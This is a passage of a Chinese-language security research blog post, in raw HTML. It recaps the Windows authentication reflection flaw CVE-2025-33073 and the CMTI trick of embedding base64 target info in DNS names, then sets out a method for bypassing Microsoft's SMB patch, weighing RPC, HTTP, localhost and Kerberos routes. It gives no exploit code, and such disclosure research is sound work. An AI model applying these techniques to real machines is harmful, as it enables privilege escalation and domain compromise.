推出官方补丁之后，我们仍然感觉到问题的根本原因尚未被真正触及。</span></p></blockquote><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">这篇分为两部分的博客文章将记录我们绕过这些加固措施的过程，而这一过程也让我们发现了两个全新的认证反射漏洞。在第一部分中，我们将奠定研究的基础、阐述方法论，并披露我们发现的第一个漏洞：一个通过 NTLM 反射实现的、极为简单的本地权限提升。</span></p></blockquote><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">引言</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-33073</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2025-33073 是一个严重的认证反射漏洞，可在 Windows 系统上导致远程命令执行 ( RCE )。这一类漏洞的原理是：迫使某台机器上的客户端向受攻击者控制的服务器发起认证，然后再将该认证转发到同一台机器上的某个服务，从而冒用该客户端的身份。在深入阅读本文之前，</span><strong><span leaf="">强烈建议</span></strong><span leaf="">先阅读我们对 CVE-2025-33073 的详细分析,以便充分理解其中的技术细节。不过，该漏洞内部机制的关键要点仍简要回顾如下：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在向某个目标发起认证时，可以在目标名称之后以 base64 形式追加附加目标信息 ( additional target information )。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在构造认证 blob ( NTLM 或 Kerberos ) 之前，LSASS 会从目标名称中剥离这些附加数据。例如，使用目标名称 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA</span></code><span leaf="">会让 LSASS 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">srv1</span></code><span leaf="">生成认证 blob。在本系列文章中，我们将这种机制称为 CMTI ( CredMarshalTargetInfo ) 技术。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA</span></code><p><span leaf="">同时也是一条合法的 DNS 记录。此外，在 Active Directory 环境中，默认情况下域用户就能添加 DNS 记录。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">当我们迫使一个特权服务 ( 例如以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份运行的 LSASS ) 向由此类 DNS 记录指向的服务器发起认证时，NTLM 和 Kerberos 这两种认证包都会出现一些颇为有趣的行为：</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对于 NTLM，由于经过净化处理后的目标名称与机器名相同，因此会触发 NTLM 本地认证。又因为带有附加目标信息的 DNS 记录指向的是受控 IP 地址，我们可以将 NTLM 本地认证转发至该机器，从而冒用特权服务的身份。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对于 Kerberos，由于目标名称已被净化，因此用于申请服务票据 ( ST ) 的 SPN 会是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CIFS/SRV1</span></code><span leaf="">。同样地，因为带有附加目标信息的 DNS 记录指向受控 IP 地址，客户端会将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AP-REQ</span></code><span leaf="">发送到我们的服务器，然后再将其转发到同一台机器，以冒用特权服务的身份。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">认证包内部存在多种机制，用于推断初始客户端是否以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份运行，但关键之处在于：一旦转发成功，我们便在目标机器上拥有了一条以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">身份认证的 SMB 会话，这已足以将该机器彻底攻陷。</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">补丁</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了缓解该漏洞，Microsoft 决定修改 SMB 客户端 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">mrxsmb.sys</span></code><span leaf="">),使其拒绝连接到名称中包含附加目标信息的目标。从一开始，这种缓解方式就让我们觉得有些奇怪：倘若以某种方式发现了另一种技术，可以让受控服务器收到 NTLM 本地认证或 Kerberos </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AP-REQ</span></code><span leaf="">,那么该漏洞岂不是又被重新引入了！于是我们决定核实这是否真的可行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，我们将描述本次研究中所遵循的、通用且具有迭代性的绕过方法论。随后，我们将立刻通过披露发现的第一个漏洞来对该方法论进行示范：一个通过 NTLM 反射实现的、极为简单的本地权限提升。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">方法论</span></h2><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">原理</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要绕过一项缓解措施，最重要的是先彻底搞清楚它到底做了什么。同样，要找到漏洞的变种，就必须深入理解原始漏洞。在我们的案例中，这一步并不困难，因为一年前向 Microsoft 报告该漏洞时，我们就已经做过这样的分析。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来的目标是尽可能多地构想出在补丁覆盖范围之外的、理论上的攻击场景。在这一阶段，场景是否可行并不重要：它们只需要不被补丁所影响即可。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，每一种攻击策略都需要根据多项标准进行评估：可行性、前置条件等等。除了攻击实际是否可行这一点之外，大多数标准都比较主观，取决于个人偏好。在本次研究中，我们选择遵循以下规则：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">攻击至少应能在最新版本的 Windows 11 或 Windows Server 2025 上奏效 ( 以满足 bounty 资格要求 )。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">攻击应能在默认配置下奏效。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">攻击不应需要任何用户交互。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">攻击应能导致 RCE 或 LPE 二者之一。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果某种攻击策略满足上述全部预设标准，则将其选中并进行测试。这一通用的绕过方法论可以用下图来概括：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012226" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.9805555555555555" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f5d45ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgzoNQ1wF2RZBKCoyfSwY0nfpibKezt29icicjyyLicJoTEywYP3LibO2e4tLp2VzZq3ysk6BWYjObnnhzHd7vjAvQcVFgOn3JMnibFU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通用绕过方法论示意图。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">改用其他客户端协议</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于补丁仅作用于 SMB 客户端，我们不妨尝试改用其他客户端协议来强制触发认证。事实上，CMTI 技术与 SMB 协议本身并无关联，理论上可以应用于任何使用 NTLM 或 Kerberos 认证的协议。除了 SMB 之外，还有两种协议可用于强制认证，只是各自的前置条件门槛不同:RPC ( 包括 DCOM ) 与 HTTP。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RPC</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RPC 强制认证通常借助 DCOM 来触发，所使用的小技巧由 James Forshaw 在 10 年前 进行了说明。然而自 2022 年 10 月起，DCOM 客户端在认证时所采用的认证级别始终不会低于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RPC_C_AUTHN_LEVEL_PKT_INTEGRITY</span></code><span leaf="">,这意味着在向 SMB 转发时会协商签名。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以将转发目标改为 HTTP，因为 HTTP 不支持完整性机制 ( 在 HTTPS 上的 channel binding 除外 )。然而，默认情况下 Windows 机器并不会暴露任何可被用于攻陷该机器的 HTTP 服务器，这并不符合我们「默认配置」这一标准。确实存在一些众所周知的、可能导致机器 ( 或域 ) 被攻陷的 HTTP 服务，例如 ADCS 的 Web Enrollment 或 SCCM 的 AdminService，但我们想要的是一个能在不安装任何特定角色或软件的 Windows 机器上奏效的利用方式。因此，我们决定放弃这条思路。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">值得一提的是，这一攻击策略已被 @decoder_it 探索过，并最终促成了 CVE-2026-26119 的发现 —— 该漏洞针对 Windows Admin Center 的 HTTP 服务进行攻击。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">HTTP</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">HTTP 强制认证主要通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WebClient</span></code><span leaf="">服务来实现 —— 该服务实现了一个 WebDAV 客户端。要让一台机器通过 WebDAV ( 也即 HTTP ) 进行认证，该服务必须处于运行状态。这在 Windows 工作站上并非默认情况;虽然存在一些将其启动起来的方法，但都需要用户交互，因而不符合我们的标准。在 Windows 服务器上，该服务甚至根本就没有安装。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此外，Windows 上至少大多数 HTTP 客户端都会在生成认证 blob 之前将目标名称转换为小写，这使得 CMTI 技术无法奏效，因为它依赖于 base64 编码的数据 ( 而 base64 是大小写敏感的 )。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于上述原因，我们同样决定放弃这条路线。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在目标名称上做文章</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一种可能性是继续使用 SMB 作为被转发的客户端及转发目标，但寻找其他方式迫使客户端向受控服务器发起认证，同时保持攻击中的本地认证特性。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">向 localhost 发起认证</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们的第一个想法是尝试强制让认证目标指向 localhost。当目标名称为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">localhost</span></code><span leaf="">( 或本地 IP 地址 ) 时，NTLM 认证包会发起 NTLM 本地认证，我们便可以将其转发到 SMB 服务。唯一的难点在于：如何强制 SMB 客户端连接到我们的 SMB 服务器，而非默认的那个。此外，这意味着影响范围将仅限于 LPE，但这仍然符合我们的标准。</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">寻找另一种 Kerberos 强制认证原语</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一条显而易见的攻击思路是寻找一种能够替代 CMTI 的技术，使我们能够收到任意服务的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AP-REQ</span></code><span leaf="">消息。事实上，目前并不存在专门用于阻止 Kerberos 反射攻击的缓解措施 ( 通信完整性或机密性除外 )。主要挑战在于：如何针对任意服务、向任意 IP 地址强制发起 Kerberos 认证，因为 Kerberos 与域名之间存在着紧密的耦合。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此我们最终选定了上述两个攻击思路。将我们的通用绕过方法论应用到 CVE-2025-33073 上，可得到下图：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012228" data-ratio="0.7361111111111112" data-s="300,640" data-type="png" data-w="1080" type="block" style="height: auto !important;" 